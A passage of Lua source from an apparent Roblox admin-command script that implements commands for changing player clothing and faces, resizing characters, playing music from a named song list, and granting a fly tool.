local chk2 = msg:sub(sep + 1)
local idNum = tonumber(chk2) or 0
local plrz = GetPlr(plr, msg:sub(7, sep - 1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i, v in pairs(v.Character:children()) do
if v:isA(&quot;Pants&quot;) then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = (idNum &lt; 5000 and &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=pants&quot; or &quot;http://www.roblox.com/asset/?id=&quot;..chk2) v:Remove() end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;face &quot; then
local chk1 = msg:find(&quot; &quot;, 6)
local chk2 = msg:sub(chk1 + 1)
local idnum = tonumber(chk2) or 0
local plrz = GetPlr(plr, msg:sub(6, chk1 - 1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then
if v.Character.Head:findFirstChild(&quot;face&quot;) then
local link = idnum &gt; 2000 and &quot;http://www.roblox.com/asset/?id=&quot;..chk2 or &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=face&quot;
v.Character.Head:findFirstChild(&quot;face&quot;).Texture = link
elseif v.Character.Head:findFirstChild(&quot;Decal&quot;) then
local link = idnum &gt; 2000 and &quot;http://www.roblox.com/asset/?id=&quot;..chk2 or &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=face&quot;
v.Character.Head:findFirstChild(&quot;Decal&quot;).Texture = link
end
end
end))
end
end


---------------------
--   FunCommands   --
---------------------
if FunCommands or ChkOwner(plr.Name:lower()) then

if msg:lower():sub(1,5) == &quot;size &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
--coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
pcall(function() if v.Character:findFirstChild(&quot;giantscript&quot;) then v.Character.giantscript:Remove() end end)
pcall(function() if v.Character:findFirstChild(&quot;gubbyresize&quot;) then v.Character.gubbyresize:Remove() end end)
local giant = script.scripts.giantscript:clone()
local gubbyresize = script.scripts.gubbyresize:clone()
local val = tonumber(msg:sub(chk1 + 1))

if val &gt; 250 then --lot of bugs occur after 250
	val = 250
end

if v.Character:findFirstChild(&quot;gubby&quot;) then --v.Character:findFirstChild(&quot;gubbyresize&quot;) or
	gubbyresize.modifier.Value = val
	gubbyresize.Parent = v.Character
	gubbyresize.Disabled = false
else
	giant.modifier.Value = val
	giant.Parent = v.Character
end
wait(0.1)
--v.Character:findFirstChild(&quot;Animate&quot;):Remove()
pcall(function() if v.Character:findFirstChild(&quot;Animate&quot;):findFirstChild(&quot;climb&quot;) then 
local anim2 = script.scripts.Animate2:clone()
v.Character.Animate:Remove()
print(0.1)
anim2.Name = &quot;Animate&quot;
anim2.Parent = v.Character
print(0.2)
else
local anim = script.scripts.Animate:clone()
v.Character.Animate:Remove()
anim.Parent = v.Character
end

for i, a in ipairs(v.Character.Torso:children()) do --hopefully this fixes limbs from being offset???
	if a:isA(&quot;Motor&quot;) then
	a.CurrentAngle = 0
	a.DesiredAngle = 0
end end
if v.Character:findFirstChild(&quot;giantscript&quot;) then
giant.Disabled = false
elseif
v.Character:findFirstChild(&quot;gubbyresize&quot;) then
gubbyresize.Disabled = false
end
end)
end
--end))
end
end


if msg:lower():sub(1,8) == &quot;swagify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) then
local aaa = e:Clone()
aaa.Parent = v.Character
aaa.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=109163376&quot;
e.Parent = v.Character.Torso
elseif e:isA(&quot;Pants&quot;) then
local aaa = e:Clone()
aaa.Parent = v.Character
aaa.PantsTemplate = &quot;http://www.roblox.com/asset/?id=109163376&quot;
e.Parent = v.Character.Torso
end
end
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Remove() end end
local cl = script.scripts.swagify:Clone() cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end



if msg:lower():sub(1,6) == &quot;music &quot; then
for i, v in pairs(game.Workspace:children()) do if v.Name == &quot;InsertedSound123&quot; then v:stop() wait(0.1) v:Remove() end end
local id = msg:sub(7)
local pitch = 1
if tostring(id):lower():find(&quot;caramell&quot;) then id = 2303479 end
if tostring(id):lower():find(&quot;rick&quot;) then id = 500 end -- 2027611
if tostring(id):lower():find(&quot;halo&quot;) then id = 1034065 end
if tostring(id):lower():find(&quot;madonna&quot;) then id = 153 end
if tostring(id):lower():find(&quot;daytona&quot;) then id = 33 end
if tostring(id):lower():find(&quot;hey ya&quot;) then id = 114 end
if tostring(id):lower():find(&quot;viva&quot;) then id = 50 end
if tostring(id):lower():find(&quot;dey see me rollin&quot;) then id = 997 end
if tostring(id):lower():find(&quot;sa2&quot;) then id = 1456 end
if tostring(id):lower():find(&quot;france&quot;) then id = 1377 end
if tostring(id):lower():find(&quot;spin me round&quot;) then id = 9 end
if tostring(id):lower():find(&quot;good kid start&quot;) then id = 80 end
if tostring(id):lower():find(&quot;good kid summer&quot;) then id = 52 end
if tostring(id):lower():find(&quot;good kid everything&quot;) then id = 52 end
if tostring(id):lower():find(&quot;good kid faster&quot;) then id = 203 end
if tostring(id):lower():find(&quot;good girls&quot;) then id = 220 end
if tostring(id):lower():find(&quot;tally banana man&quot;) then id = 271 end
if tostring(id):lower():find(&quot;tally cannibal&quot;) then id = 272 end
if tostring(id):lower():find(&quot;tally never meant to know&quot;) then id = 273 end
if tostring(id):lower():find(&quot;tally ruler of everything&quot;) then id = 274 end
if tostring(id):lower():find(&quot;tally the bidding&quot;) then id = 275 end
if tostring(id):lower():find(&quot;tally turn the lights off&quot;) then id = 276 end
if tostring(id):lower():find(&quot;tally two wuv&quot;) then id = 277 end
if tostring(id):lower():find(&quot;tally you and me&quot;) then id = 278 end
if tostring(id):lower():find(&quot;tally good day&quot;) then id = 279 end
if tostring(id):lower():find(&quot;worth it&quot;) then id = 243 end
if tostring(id):lower():find(&quot;zou bisou&quot;) then id = 246 end
if tostring(id):lower():find(&quot;spongebob&quot;) then id = 74 end
if tostring(id):lower():find(&quot;alone&quot;) then id = 27697392 end
if tostring(id):lower():find(&quot;blackeyedpeas&quot;) then id = 320 end
if tostring(id):lower():find(&quot;retrohome&quot;) then id = 719 end
if tostring(id):lower():find(&quot;elevator&quot;) then id = 151 end
if tostring(id):lower():find(&quot;mario&quot;) then id = 1280470 end
if tostring(id):lower():find(&quot;choir&quot;) then id = 1372258 end
if tostring(id):lower():find(&quot;chrono&quot;) then id = 1280463 end
if tostring(id):lower():find(&quot;extreme&quot;) then id = 11420933 end
if tostring(id):lower():find(&quot;awaken&quot;) then id = 27697277 end
if tostring(id):lower():find(&quot;cursed&quot;) then id = 1372257 end
if tostring(id):lower():find(&quot;dotr&quot;) then id = 11420922 end
if tostring(id):lower():find(&quot;epic&quot;) then id = 27697743 pitch = 2.5 end
if tostring(id):lower():find(&quot;entertain&quot;) then id = 27697267 end
if tostring(id):lower():find(&quot;stranger&quot;) then id = 241 end
if tostring(id):lower():find(&quot;hayami lagoon&quot;) then id = 252 end
if tostring(id):lower():find(&quot;hayami summer&quot;) then id = 253 end
if tostring(id):lower():find(&quot;hayami surfer&quot;) then id = 254 end
if tostring(id):lower():find(&quot;hello again&quot;) then id = 395 end
if tostring(id):lower():find(&quot;ride on time&quot;) then id = 296 end
if tostring(id):lower():find(&quot;mariya morning&quot;) then id = 313 end
if tostring(id):lower():find(&quot;dont call me&quot;) then id = 250 end
if tostring(id):lower():find(&quot;memories&quot;) then id = 317 end
if tostring(id):lower():find(&quot;cindy&quot;) then id = 244 end
if tostring(id):lower():find(&quot;special to me&quot;) then id = 255 end
if tostring(id):lower():find(&quot;office&quot;) then id = 322 end
if tostring(id):lower():find(&quot;sinatra&quot;) then id = 238 end
if tostring(id):lower():find(&quot;youre the song&quot;) then id = 239 end
if tostring(id):lower():find(&quot;forever&quot;) then id = 301 end
if tostring(id):lower():find(&quot;fantasy&quot;) then id = 1280473 end
if tostring(id):lower():find(&quot;final&quot;) then id = 1280414 end
if tostring(id):lower():find(&quot;emblem&quot;) then id = 1372259 end
if tostring(id):lower():find(&quot;flight&quot;) then id = 27697719 end
if tostring(id):lower():find(&quot;banjo&quot;) then id = 27697298 end
if tostring(id):lower():find(&quot;gothic&quot;) then id = 27697743 end
if tostring(id):lower():find(&quot;hiphop&quot;) then id = 27697735 end
if tostring(id):lower():find(&quot;intro&quot;) then id = 27697707 end
if tostring(id):lower():find(&quot;mule&quot;) then id = 1077604 end
if tostring(id):lower():find(&quot;film&quot;) then id = 27697713 end
if tostring(id):lower():find(&quot;nezz&quot;) then id = 8610025 end
if tostring(id):lower():find(&quot;angel&quot;) then id = 1372260 end
if tostring(id):lower():find(&quot;resist&quot;) then id = 27697234 end
if tostring(id):lower():find(&quot;schala&quot;) then id = 5985787 end
if tostring(id):lower():find(&quot;organ&quot;) then id = 11231513 end
if tostring(id):lower():find(&quot;tunnel&quot;) then id = 9650822 end
if tostring(id):lower():find(&quot;spanish&quot;) then id = 5982975 end
if tostring(id):lower():find(&quot;venom&quot;) then id = 1372262 end
if tostring(id):lower():find(&quot;wind&quot;) then id = 1015394 end
if tostring(id):lower():find(&quot;guitar&quot;) then id = 5986151 end
if tostring(id):lower():find(&quot;dbz1&quot;) then id = 328 end
if tostring(id):lower():find(&quot;dbz2&quot;) then id = 329 end
if tostring(id):lower():find(&quot;dbz3&quot;) then id = 330 end
if tostring(id):lower():find(&quot;yancey boys&quot;) then id = 294 end
if tostring(id):lower():find(&quot;pain&quot;) then id = 298 end
if tostring(id):lower():find(&quot;break it off&quot;) then id = 299 end
if tostring(id):lower():find(&quot;mosquito&quot;) then id = 300 end
local num = tonumber(id) -- GPT SLOP AGAIN!!!!!!! SAY :MUSIC CAT528 FOR CATALOG, :MUSIC OLD528 FOR PRE-CATALOG IDS.
local url
if type(id) == &quot;string&quot; then
local oldNum = id:lower():match(&quot;^old(%d+)&quot;)
if oldNum then url = &quot;http://1.0char.co/asset/?id=&quot;..oldNum end
if not url then local catNum = id:lower():match(&quot;^cat(%d+)&quot;) if catNum then url = &quot;https://1.0char.co/sound/?id=&quot;..catNum end end
if not url then local rbxNum = id:lower():match(&quot;^rbx(%d+)&quot;) if rbxNum then url = &quot;http://www.roblox.com/asset/?id=&quot;..rbxNum end end
end
if not url then
if num then
if num &lt; 497 then
url = &quot;https://1.0char.co/sound/?id=&quot;..num
elseif num &gt;= 498 and num &lt;= 1500 then
url = &quot;http://1.0char.co/asset/?id=&quot;..num
else
url = &quot;http://www.roblox.com/asset/?id=&quot;..num
end
else
url = &quot;http://www.roblox.com/asset/?id=&quot;..tostring(id)
end
end
local s = Instance.new(&quot;Sound&quot;, game.Workspace) s.Name = &quot;InsertedSound123&quot; s.SoundId = url s.Volume = 1 s.Pitch = pitch s.Looped = true pcall(function() s.archivable = true end) pcall(function() s.Archivable = true end) s:play() wait(0.05) s:stop() wait(0.85) s:play()
end

if msg:lower() == &quot;musiclist&quot; then
if plr.PlayerGui:findFirstChild(&quot;MUSICGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;MUSICGUI&quot; scr.Parent = plr.PlayerGui
local list = {&quot;caramell&quot;,&quot;epic&quot;,&quot;rick&quot;,&quot;madonna&quot;,&quot;daytona&quot;,&quot;hey ya&quot;,&quot;viva&quot;,&quot;dey see me rollin&quot;,&quot;sa2&quot;,&quot;france&quot;,&quot;spin me round&quot;,&quot;good kid start&quot;,&quot;good kid summer&quot;,&quot;good kid everything&quot;,&quot;good kid faster&quot;,&quot;good girls&quot;,&quot;tally banana man&quot;,&quot;tally cannibal&quot;,&quot;tally never meant to know&quot;,&quot;tally ruler of everything&quot;,&quot;tally the bidding&quot;,&quot;tally turn the lights off&quot;,&quot;tally two wuv&quot;,&quot;tally you and me&quot;,&quot;tally good day&quot;,&quot;worth it&quot;,&quot;zou bisou&quot;,&quot;spongebob&quot;,&quot;elevator&quot;,&quot;retrohome&quot;,&quot;halo&quot;,&quot;pokemon&quot;,&quot;cursed&quot;,&quot;extreme&quot;,&quot;awaken&quot;,&quot;alone&quot;,&quot;blackeyedpeas&quot;,&quot;mario&quot;,&quot;choir&quot;,&quot;chrono&quot;,&quot;dotr&quot;,&quot;entertain&quot;,&quot;stranger&quot;,&quot;hayami lagoon&quot;,&quot;hayami summer&quot;,&quot;hayami surfer&quot;,&quot;hello again&quot;,&quot;ride on time&quot;,&quot;mariya morning&quot;,&quot;dont call me&quot;,&quot;memories&quot;,&quot;cindy&quot;,&quot;special to me&quot;,&quot;office&quot;,&quot;sinatra&quot;,&quot;youre the song&quot;,&quot;forever&quot;,&quot;fantasy&quot;,&quot;final&quot;,&quot;emblem&quot;,&quot;flight&quot;,&quot;banjo&quot;,&quot;gothic&quot;,&quot;hiphop&quot;,&quot;intro&quot;,&quot;mule&quot;,&quot;film&quot;,&quot;nezz&quot;,&quot;angel&quot;,&quot;resist&quot;,&quot;schala&quot;,&quot;organ&quot;,&quot;tunnel&quot;,&quot;spanish&quot;,&quot;venom&quot;,&quot;wind&quot;,&quot;guitar&quot;,&quot;dbz1&quot;,&quot;dbz2&quot;,&quot;dbz3&quot;,&quot;yancey boys&quot;,&quot;pain&quot;,&quot;break it off&quot;,&quot;mosquito&quot;,}
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end

if msg:lower():sub(1, 4) == &quot;fly &quot; then -- GPT SLOP ALERT!!!!!
    local plrz = GetPlr(plr, msg:lower():sub(5))
    for i, v_loop in pairs(plrz) do -- Use a different variable name like v_loop
        -- Define the function to be run in the coroutine
        local flyCoroutineFunction = function()
            local v = v_loop -- Capture the player for this specific coroutine instance
            print(&quot;Server: Processing :fly for player &quot; .. v.Name)
            -- Find PlayerGui and Backpack
            local playerGui = v:findFirstChild(&quot;PlayerGui&quot;)
            local backpack = v:findFirstChild(&quot;Backpack&quot;)
            local character = v.Character -- Get character early for equipping

            -- Initial checks - return early if objects are missing
            if not v then print(&quot;Server Error: Target player &apos;v&apos; is nil!&quot;) return end
            if not playerGui then print(&quot;Server Error: PlayerGui not found for &quot; .. v.Name) return end
            if not backpack then print(&quot;Server Error: Backpack not found for &quot; .. v.Name) return end
            -- Need character to parent the tool to
            if not character then print(&quot;Server Error: Character not found for &quot; .. v.Name .. &quot;, cannot parent tool.&quot;) return end

            -- Find the LocalScriptBase template
            local launcherScriptTemplate = script:findFirstChild(&quot;LocalScriptBase&quot;)
            if not launcherScriptTemplate or not launcherScriptTemplate:findFirstChild(&quot;Code&quot;) then
                 print(&quot;SERVER ERROR: Cannot find &apos;LocalScriptBase&apos; template or its &apos;Code&apos; StringValue!&quot;)
                 return -- Stop if template is invalid
            end

            -- If we reach here, prerequisites are met
            print(&quot;Server: Found PlayerGui, Backpack, Character, and LocalScriptBase template for &quot; .. v.Name)

            -- Remove any existing FlyScript or FlyTool first
            local oldFlyScript = playerGui:findFirstChild(&quot;FlyScript&quot;)
            if oldFlyScript then print(&quot;Server: Removing old FlyScript for &quot;..v.Name); oldFlyScript:Remove() end
            -- Check for HopperBin named FlyTool in Backpack and Character
            local oldToolBP = backpack:findFirstChild(&quot;FlyTool&quot;)
            if oldToolBP then print(&quot;Server: Removing old FlyTool from Backpack for &quot;..v.Name); oldToolBP:Remove() end
            local oldToolChar = character:findFirstChild(&quot;FlyTool&quot;)
            if oldToolChar then print(&quot;Server: Removing old FlyTool from Character for &quot;..v.Name); oldToolChar:Remove() end


            -- 1. SERVER: PREPARE THE FALLBACK HOPPERBIN &amp; ITS SCRIPT (by cloning LocalScriptBase)
            print(&quot;Server: Creating fallback FlyTool (HopperBin)...&quot;)
            local flyTool = Instance.new(&quot;HopperBin&quot;) -- Use HopperBin
            flyTool.Name = &quot;FlyTool&quot;
            flyTool.BinType = 0 -- SET BINTYPE TO GameTool (0)

            -- Clone LocalScriptBase to be the Tool&apos;s script
            local toolScriptClone = launcherScriptTemplate:Clone()
            toolScriptClone.Name = &quot;ToolFlyLogic&quot;
            toolScriptClone.Disabled = true -- Start DISABLED (Launcher will enable if needed)

            -- Find the StringValue within the clone
            local codeStringValue = toolScriptClone:findFirstChild(&quot;Code&quot;)
            if not codeStringValue then
                 print(&quot;SERVER ERROR: Cloned LocalScriptBase for Tool is missing &apos;Code&apos; StringValue!&quot;)
                 if flyTool then flyTool:Remove() end
                 return -- Stop
            end

            -- Define the Tool&apos;s script source code (that will go into the StringValue)
            -- *** Modified Selected/Deselected/StopFly logic ***
            local toolFlyLogicSource = [[
print(&quot;ToolFlyLogic: Script source defined.&quot;)

local tool = script.Parent
if not tool or tool.className ~= &quot;HopperBin&quot; then
     print(&quot;ToolFlyLogic Error: Parent is not a HopperBin! Parent is: &quot; .. (tool and tool.className or &quot;nil&quot;))
     return
end
print(&quot;ToolFlyLogic: Parent tool found: &quot; .. tool.Name)

local plr = nil
local torso = nil
local mouse = nil
local flying = false -- Start not flying
local activeFlyCoroutine = nil -- Track the active coroutine
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50 -- Original Max Speed
local speed = 0
local bodyGyro = nil
local bodyVel = nil
local keyDownConn = nil
local keyUpConn = nil
local selectedConn = nil
local deselectedConn = nil

function Fly()
    -- This function now runs the main loop
    if not torso or not torso.Parent then flying = false; return end
    print(&quot;ToolFlyLogic: Fly() coroutine started.&quot;)

    -- Ensure movers exist and are parented correctly at the start
    if not bodyGyro or bodyGyro.Parent ~= torso then
        if bodyGyro then bodyGyro:Remove() end
        bodyGyro = Instance.new(&quot;BodyGyro&quot;, torso)
        pcall(function() bodyGyro.P = 9e4 end)
        pcall(function() bodyGyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) end)
        bodyGyro.cframe = torso.CFrame
    end
    if not bodyVel or bodyVel.Parent ~= torso then
         if bodyVel then bodyVel:Remove() end
         bodyVel = Instance.new(&quot;BodyVelocity&quot;, torso)
         bodyVel.velocity = Vector3.new(0, 0.1, 0)
         pcall(function() bodyVel.maxForce = Vector3.new(9e9, 9e9, 9e9) end)
    end
    print(&quot;ToolFlyLogic: Body movers confirmed/created.&quot;)

    -- Main fly loop
    while flying and bodyGyro and bodyGyro.Parent == torso and bodyVel and bodyVel.Parent == torso do
        wait()
        local humanoid = plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
        if humanoid then
             humanoid.PlatformStand = true
        else
             print(&quot;ToolFlyLogic: Humanoid lost during flight, stopping.&quot;)
             flying = false -- Stop the loop
             break
        end

        -- Acceleration/Deceleration
        if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
            speed = speed + 0.5 + (speed / maxspeed)
            if speed &gt; maxspeed then speed = maxspeed end
        elseif speed ~= 0 then
            speed = speed - 1
            if speed &lt; 0 then speed = 0 end
        end

        local cam = game.Workspace.CurrentCamera
        local camSuccess, err = pcall(function()
            if cam then
                local lookVector = cam.CoordinateFrame.lookVector
                local rightVector = cam.CoordinateFrame * Vector3.new(1, 0, 0)
                if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
                    bodyVel.velocity = ((lookVector * (ctrl.f+ctrl.b)) + ((cam.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                    lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
                elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
                    bodyVel.velocity = ((lookVector * (lastctrl.f+lastctrl.b)) + ((cam.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                else
                    bodyVel.velocity = Vector3.new(0,0.1,0)
                end
                bodyGyro.cframe = cam.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
            else
                 bodyVel.velocity = Vector3.new(0,0.1,0)
            end
        end)
        if not camSuccess then
             print(&quot;ToolFlyLogic: Error during CFrame/Velocity calc: &quot; .. tostring(err))
             bodyVel.velocity = Vector3.new(0,0.1,0)
        end
    end -- *** End of while loop ***

    print(&quot;ToolFlyLogic: Exiting Fly loop naturally or due to stop signal.&quot;)
    -- Cleanup after loop finishes
    ctrl = {f=0,b=0,l=0,r=0}; lastctrl={f=0,b=0,l=0,r=0}; speed=0
    if bodyGyro and bodyGyro.Parent then pcall(function() bodyGyro:Remove() end) end
    if bodyVel and bodyVel.Parent then pcall(function() bodyVel:Remove() end) end
    bodyGyro = nil; bodyVel = nil
    local humanoid = plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
    if humanoid then
        print(&quot;ToolFlyLogic: Setting PlatformStand false after loop exit.&quot;)
        pcall(function() humanoid.PlatformStand = false end)
    end
    activeFlyCoroutine = nil -- Clear the coroutine tracker
end

function StopFly()
    if not flying then return end
    print(&quot;ToolFlyLogic: StopFly() called.&quot;)
    flying = false -- Signal the loop to stop
    -- The loop itself will handle cleanup now when it exits
end

function DisconnectEvents()
    print(&quot;ToolFlyLogic: Disconnecting input events.&quot;)
    if keyDownConn then pcall(function() keyDownConn:disconnect() end); keyDownConn = nil end
    if keyUpConn then pcall(function() keyUpConn:disconnect() end); keyUpConn = nil end
end

selectedConn = tool.Selected:connect(function(toolMouse)
    print(&quot;ToolFlyLogic: HopperBin Selected.&quot;)
    mouse = toolMouse
    plr = game.Players.LocalPlayer
    if plr and plr.Character then torso = plr.Character:findFirstChild(&quot;Torso&quot;) end

    if not torso then print(&quot;ToolFlyLogic: Torso not found on select.&quot;) return end
    if not mouse then print(&quot;ToolFlyLogic: Mouse not provided on select.&quot;) return end

    DisconnectEvents() -- Disconnect previous just in case

    keyDownConn = mouse.KeyDown:connect(function(key)
        key = key:lower()
        if key == &quot;e&quot; then
             if flying then
                 StopFly()
             else
                 -- Only start if not already flying
                 if not flying then
                     flying = true;
                     -- Start the coroutine if not already running
                     if not activeFlyCoroutine or coroutine.status(activeFlyCoroutine) == &quot;dead&quot; then
                         activeFlyCoroutine = coroutine.create(Fly)
                         coroutine.resume(activeFlyCoroutine)
                     end
                 end
             end
        elseif key == &quot;w&quot; then ctrl.f = 1 elseif key == &quot;s&quot; then ctrl.b = -1
        elseif key == &quot;a&quot; then ctrl.l = -1 elseif key == &quot;d&quot; then ctrl.r = 1
        end
    end)

    keyUpConn = mouse.KeyUp:connect(function(key)
        key = key:lower()
        if key == &quot;w&quot; then ctrl.f = 0 elseif key == &quot;s&quot; then ctrl.b = 0
        elseif key == &quot;a&quot; then ctrl.l = 0 elseif key == &quot;d&quot; then ctrl.r = 0
        end
    end)

    -- *** Auto-start flying on first selection ***
    if not flying then
        print(&quot;ToolFlyLogic: Auto-starting fly on selection.&quot;)
        flying = true
        -- Start the coroutine if not already running
        if not activeFlyCoroutine or coroutine.status(activeFlyCoroutine) == &quot;dead&quot; then
             activeFlyCoroutine = coroutine.create(Fly)
             coroutine.resume(activeFlyCoroutine)
        end
    end
end)

deselectedConn = tool.Deselected:connect(function()
    print(&quot;ToolFlyLogic: HopperBin Deselected.&quot;)
    StopFly()
    DisconnectEvents()
    mouse = nil
    torso = nil
end)

script.DescendantRemoving:connect(function(descendant)
    if descendant == script then
        print(&quot;ToolFlyLogic: Script removing, cleaning up.&quot;)
        StopFly()
        DisconnectEvents()
        if selectedConn then pcall(function() selectedConn:disconnect() end) end
        if deselectedConn then pcall(function() deselectedConn:disconnect() end) end
    end
end)

print(&quot;ToolFlyLogic: Setup complete, waiting for selection.&quot;)
]] -- END OF toolFlyLogicSource

            -- SERVER sets the VALUE of the StringValue in the CLONED script
            codeStringValue.Value = toolFlyLogicSource
            toolScriptClone.Parent = flyTool -- Parent the CLONED script (with code value set) to the Tool

            -- Parent the prepared tool to the CHARACTER for auto-equip
            flyTool.Parent = backpack
            print(&quot;Server: Placed DISABLED FlyTool (HopperBin) in Character for &quot; .. v.Name)

            -- 2. SERVER: CREATE THE LAUNCHER SCRIPT (Checks GetMouse)
            print(&quot;Server: Creating launcher FlyScript...&quot;)
            local cl = launcherScriptTemplate:Clone() -- Clone the base template AGAIN for the launcher
            cl.Name = &quot;FlyScript&quot;

            -- Define the LocalScript code for the launcher
            -- *** Ensures Method 2 enables the tool script ***
            local launcherSource = [=[
print(&quot;FlyScript Initializing...&quot;)
-- Wait for essential objects
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild(&quot;Torso&quot;) and game.Players.LocalPlayer.Character:findFirstChild(&quot;Humanoid&quot;)

local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local mouse = nil

-- Attempt to get the mouse object using pcall
local success, result = pcall(function()
    return plr:GetMouse()
end)

if success and result then
    print(&quot;FlyScript: GetMouse() successful. Using direct mouse input method (Original 2013 style).&quot;)
    mouse = result
    -- Wait until the mouse object is actually usable (paranoid check)
    local waitTime = 0
    local mouseUsable = false
    while waitTime &lt; 3 do -- Check for a few seconds
        local hitSuccess, _ = pcall(function() return mouse.Hit end) -- Check if .Hit exists and doesn&apos;t error
        if hitSuccess then
             mouseUsable = true
             break
        end
        wait(0.1)
        waitTime = waitTime + 0.1
    end

    if not mouseUsable then
        print(&quot;FlyScript: Error - Mouse object obtained but seems unusable. Aborting direct method.&quot;)
        mouse = nil -- Treat as failure
    end
else
    print(&quot;FlyScript: LocalPlayer:GetMouse() failed or returned nil. Error: &quot;, result)
    mouse = nil -- Ensure mouse is nil if it failed
end

-- ==================================================================
-- == METHOD 1: Direct Mouse Input (If GetMouse worked)            ==
-- == Runs the original 2013 fly script logic AND removes fallback ==
-- ==================================================================
if mouse then
    print(&quot;FlyScript: Running original 2013 fly logic...&quot;)

    -- Remove the fallback tool from backpack AND character as it&apos;s not needed
    local backpack = plr:findFirstChild(&quot;Backpack&quot;)
    if backpack then
        local fallbackTool = backpack:findFirstChild(&quot;FlyTool&quot;)
        if fallbackTool then
            print(&quot;FlyScript: Removing fallback FlyTool from Backpack.&quot;)
            fallbackTool:Remove()
        end
    end
    if plr.Character then
         local fallbackToolChar = plr.Character:findFirstChild(&quot;FlyTool&quot;)
         if fallbackToolChar then
             print(&quot;FlyScript: Removing fallback FlyTool from Character.&quot;)
             fallbackToolChar:Remove()
         end
    end


    -- Execute the code stored in *this* script&apos;s StringValue child
    local codeValue = script:findFirstChild(&quot;Code&quot;)
    if codeValue and codeValue.Value ~= &quot;&quot; then
         local func = loadstring(codeValue.Value)
         if func then
             print(&quot;FlyScript: Executing code from StringValue...&quot;)
             -- Re-paste the original 2013 LocalScript code here directly
             --[[ Start Original 2013 Code ]]
             repeat wait() until mouse
             local plr = game.Players.LocalPlayer
             local torso = plr.Character.Torso
             local flying = true
             local deb = true
             local ctrl = {f = 0, b = 0, l = 0, r = 0}
             local lastctrl = {f = 0, b = 0, l = 0, r = 0}
             local maxspeed = 50 -- Original Max Speed
             local speed = 0
             local bodyGyro = nil
             local bodyVel = nil

             function Fly()
                 if not torso or not torso.Parent then flying = false; return end
                 if not flying then return end

                 if not bodyGyro or bodyGyro.Parent ~= torso then
                      if bodyGyro then bodyGyro:Remove() end
                      bodyGyro = Instance.new(&quot;BodyGyro&quot;, torso)
                      pcall(function() bodyGyro.P = 9e4 end) -- Original P
                      pcall(function() bodyGyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) end) -- Original Torque
                      bodyGyro.cframe = torso.CFrame
                 end
                 if not bodyVel or bodyVel.Parent ~= torso then
                      if bodyVel then bodyVel:Remove() end
                      bodyVel = Instance.new(&quot;BodyVelocity&quot;, torso)
                      bodyVel.velocity = Vector3.new(0, 0.1, 0)
                      pcall(function() bodyVel.maxForce = Vector3.new(9e9, 9e9, 9e9) end) -- Original Force
                 end

                 while flying and bodyGyro and bodyGyro.Parent == torso and bodyVel and bodyVel.Parent == torso do
                     wait()
                     local humanoid = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
                     if humanoid then humanoid.PlatformStand = true end

                     if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
                         speed = speed + 0.5 + (speed / maxspeed) -- Original acceleration
                         if speed &gt; maxspeed then speed = maxspeed end
                     elseif speed ~= 0 then
                         speed = speed - 1 -- Original deceleration
                         if speed &lt; 0 then speed = 0 end
                     end

                     local cam = game.Workspace.CurrentCamera
                     local camSuccess, _ = pcall(function()
                         if cam then
                             -- *** Original Velocity Calculation ***
                             if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
                                 bodyVel.velocity = ((cam.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((cam.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                                 lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
                             elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
